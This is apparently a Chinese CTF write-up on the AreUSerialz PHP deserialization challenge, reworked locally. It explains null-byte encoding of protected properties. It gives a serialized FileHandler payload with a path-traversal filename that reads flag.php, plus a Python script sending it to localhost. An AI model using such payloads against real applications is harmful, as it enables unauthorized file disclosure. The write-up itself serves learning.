前言
今天做了道反序列的题,[网鼎杯 2020 青龙组]AreUSerialz
反序列题一直都不太会做,这道题其中也有诸多疑问,于是搭建了个环境认真研究了下
原题的wp中主要注意的一点就是php7.1+版本对属性类型不明感,可转化为public绕过
改动
然后我把题目改了下,把function is_valid($s){}
删掉,目的是想研究下protected变量的反序列化问题。
<?php
class FileHandler
{
protected $op = 2;
protected $filename = "../../../WWW/localhost/flag.php";
//这里那么长是因为反序列后路径变到php.exe那里,需要改下目录或者干脆绝对路径
}
$A = new FileHandler();
$B = serialize($A);
echo $B;
浏览器刷新下,复制下来
O:11:"FileHandler":2:{s:5:"*op";i:2;s:11:"*filename";s:31:"../../../WWW/localhost/flag.php";}
注意s:5:”*op”,实际上是有一个ascii码为0的不可见字符在里面,所以长度是5不是2。
如果长度错误反序列化就是失败。
所以如果是这两个变量的话需要手动改成以下这样的形式。
private:
\x00类名\x00变量名
\0类名\0变量名
protected:
\x00*\x00变量名
\0*\0变量名
然后要注意的是因为url解码会把这些字符转化掉,经测试谷歌浏览器和burpsuite都没办法正确传值,所以要用python发包
//?str=\0*\0
echo $_GET['str']; // 什么都没有
$str = (string)$_GET['str']; // \0*\0
python发包代码
import requests
url = 'http://localhost/test2.php/?str=O:11:"FileHandler":2:{s:5:"\0*\0op";i:2;s:11:"\0*\0filename";s:31:"../../../WWW/localhost/flag.php";}'
payload = {}
headers = {}
response = requests.request("GET", url, headers=headers, data=payload)
print(response.text)
在这里又掉入了一个坑,平时写字符串都喜欢加个r,写什么是什么不让它自动转义,
url = r'http://localhost/test2.php/?str=O:11:"FileHandler":2:{s:5:"\0*\0op";i:2;s:11:"\0*\0filename";s:31:"../../../WWW/localhost/flag.php";}'
这次我加了r,实际是多次一举。
写\x00*\x00
或\0*\0
本意就是让它在发包的时候自动转义,加了r反而把16进制当做字符串传过去,导致反序列化失败。
TODO
为什么删掉原代码中的$str = (string)$_GET['str'];
,反序列化会失败?